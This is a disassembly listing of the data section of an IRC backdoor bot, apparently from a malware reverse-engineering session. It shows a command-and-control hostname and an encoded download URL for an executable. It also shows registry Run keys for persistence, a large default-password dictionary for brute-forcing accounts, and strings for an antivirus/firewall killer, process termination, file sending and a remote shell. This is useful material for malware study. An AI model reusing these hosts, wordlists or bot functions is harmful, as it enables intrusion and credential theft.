					; WinMain(x,x,x,x)+576o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
; char aFaak_0[]
aFaak_0		db '#FAAK#',0           ; DATA XREF: WinMain(x,x,x,x)+58Co
		align 4
; char aSaad__0[]
aSaad__0	db 'saad.',0            ; DATA XREF: WinMain(x,x,x,x)+59Eo
		align 4
; char Str[]
Str		db 'nvigqyvja.exe',0    ; DATA XREF: WinMain(x,x,x,x)+143o
					; WinMain(x,x,x,x)+167w ...
		align 4
; char aWidnt_bat[]
aWidnt_bat	db 'widnt.bat',0        ; DATA XREF: sub_411C14+3Do
		align 4
aWindsSerscAgts	db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: .text:0040AD35o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
; char aF[]
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
; char aF_0[]
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 4
; char aF_1[]
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset byte_43D808
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_1	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_1	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_0	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: .data:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: .data:004294B4o
aMain		db 'main',0             ; DATA XREF: .data:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .data:004294ACo
aBlank		db 'blank',0            ; DATA XREF: .data:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: .data:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:004294A0o
aXp_0		db 'xp',0               ; DATA XREF: .data:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: .data:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .data:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: .data:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: .data:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .data:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: .data:00429470o
; char aSa[]
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; .data:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .data:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: .data:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: .data:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: .data:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: .data:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: .data:0042942Co
aSex		db 'sex',0              ; DATA XREF: .data:00429428o
					; .data:off_4385E8o
aSlut		db 'slut',0             ; DATA XREF: .data:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .data:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .data:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .data:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0042940Co
		align 4
; char aLogin[]
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; .data:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .data:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:004293E8o
aNeil		db 'neil',0             ; DATA XREF: .data:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: .data:004293E0o
aBrian		db 'brian',0            ; DATA XREF: .data:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: .data:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:004293D0o
aSam		db 'sam',0              ; DATA XREF: .data:004293CCo
aLuke		db 'luke',0             ; DATA XREF: .data:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:004293C4o
					; .data:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:004293B0o
aJen		db 'jen',0              ; DATA XREF: .data:004293ACo
aBob		db 'bob',0              ; DATA XREF: .data:004293A8o
					; .data:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: .data:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: .data:004293A0o
aAsd		db 'asd',0              ; DATA XREF: .data:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: .data:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: .data:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: .data:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: .data:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .data:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: .data:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:00429378o
aOem		db 'oem',0              ; DATA XREF: .data:00429374o
; char aUser_0[]
aUser_0		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; .data:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: .data:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .data:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0042935Co
					; .data:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: .data:00429358o
aWeb		db 'web',0              ; DATA XREF: .data:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: .data:00429350o
aMail		db 'mail',0             ; DATA XREF: .data:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: .data:00429344o
		align 4
; char aServer_1[]
aServer_1	db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; .data:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: .data:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: .data:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: .data:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; .data:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: .data:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: .data:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: .data:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .data:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: .data:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:004292F4o
a123456		db '123456',0           ; DATA XREF: .data:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: .data:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: .data:004292E4o
a12		db '12',0               ; DATA XREF: .data:004292E0o
		align 10h
a1:					; DATA XREF: .data:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: .data:004292D4o
aPass_1		db 'pass',0             ; DATA XREF: .data:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .data:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: .data:004292BCo
aDb2		db 'db2',0              ; DATA XREF: .data:00429464o
aOracle		db 'oracle',0           ; DATA XREF: .data:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: .data:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: .data:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: .data:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .data:004294C4o
aStudent	db 'student',0          ; DATA XREF: .data:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: .data:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: .data:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .data:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: .data:off_429160o
; char asc_4299D8[]
asc_4299D8	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+46Bo
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
; char asc_429A0C[]
asc_429A0C	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+420o
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
; char asc_429A38[]
asc_429A38	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+3F3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
; char asc_429A78[]
asc_429A78	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+3A2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
; char asc_429A9C[]
asc_429A9C	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+364o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
		dd 0
; char aSDS[]
aSDS		db '%s %d "%s"',0       ; DATA XREF: WinMain(x,x,x,x)+28Fo
		align 4
; char Format[]
Format		db '%s\%s',0            ; DATA XREF: WinMain(x,x,x,x)+189o
					; sub_415A30+7Eo ...
		align 4
; char aSS[]
aSS		db '%s%s',0             ; DATA XREF: WinMain(x,x,x,x)+10Do
					; sub_40F6B4+EAo ...
		align 4
; char asc_429AD4[]
asc_429AD4	db '-'                  ; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
; char aNickSUserS00S[]
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
; char aPassS[]
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
; char aModeSS_0[]
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 4
; char aUserhostS[]
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 4
unk_429B3C	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B5C	db  2Dh	; -		; DATA XREF: sub_401ACD+7EEDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429B7C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
; char aNoticeSHostAut[]
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E63o
		align 10h
unk_429BD0	db  2Dh	; -		; DATA XREF: sub_401ACD+7E25o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E13o
					; sub_401ACD+7E7Ao
		align 4
; char aNoticeSPassAut[]
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFCo
		align 10h
; char asc_429C50[]
asc_429C50:				; DATA XREF: sub_401ACD+7DCCo
		unicode	0, <~>,0
; char asc_429C54[]
asc_429C54	db '-'                  ; DATA XREF: sub_401ACD+7D7Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
; char asc_429C78[]
asc_429C78	db '-'                  ; DATA XREF: sub_401ACD+7D0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
; char asc_429CA0[]
asc_429CA0	db '-'                  ; DATA XREF: sub_401ACD+7CC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CE8	db  2Dh	; -		; DATA XREF: sub_401ACD+7C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429D0C	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Bo
		dd 2E732520h, 0
; char asc_429D4C[]
asc_429D4C	db '-'                  ; DATA XREF: sub_401ACD:loc_409685o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D78	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB1o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
; char asc_429D9C[]
asc_429D9C	db '-'                  ; DATA XREF: sub_401ACD:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7B26o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
; char aAll[]
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Co
unk_429DF0	db  2Dh	; -		; DATA XREF: sub_401ACD+79FFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E3C	db  2Dh	; -		; DATA XREF: sub_401ACD+79DCo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E5C	db  2Dh	; -		; DATA XREF: sub_401ACD+79B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409468o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
; char asc_429EAC[]
asc_429EAC	db '-'                  ; DATA XREF: sub_401ACD+796Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429ECC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7926o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
; char asc_429F1C[]
asc_429F1C	db '-'                  ; DATA XREF: sub_401ACD:loc_409399o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F4C	db  2Dh	; -		; DATA XREF: sub_401ACD+78C5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
; char asc_429F70[]
asc_429F70	db '-'                  ; DATA XREF: sub_401ACD+7885o
		db 3, 34h, 2
		dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h
		dd 2Eh
; char asc_429F8C[]
asc_429F8C	db '-'                  ; DATA XREF: sub_401ACD+7803o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429FB0	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7786o
		dd 0
; char asc_429FC8[]
asc_429FC8	db '-'                  ; DATA XREF: sub_401ACD+7755o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
; char asc_42A008[]
asc_42A008	db '-'                  ; DATA XREF: sub_401ACD+76E6o
		db 3, 34h, 2
		dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
dword_42A020	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_409140o
		dd 746E6573h, 2Eh
unk_42A03C	db  2Dh	; -		; DATA XREF: sub_401ACD+766Co
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
; char asc_42A05C[]
asc_42A05C	db '-'                  ; DATA XREF: sub_401ACD+7630o
		db 3, 34h, 2
		dd 2646D63h, 43202D03h,	616D6D6Fh, 3A73646Eh, 732520h
; char asc_42A074[]
asc_42A074	db '-'                  ; DATA XREF: sub_401ACD+7611o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
; char asc_42A0A0[]
asc_42A0A0	db 0Ah,0		; DATA XREF: sub_401ACD+75F9o
					; sub_40F6B4+FBo ...
		align 4
unk_42A0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+75CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
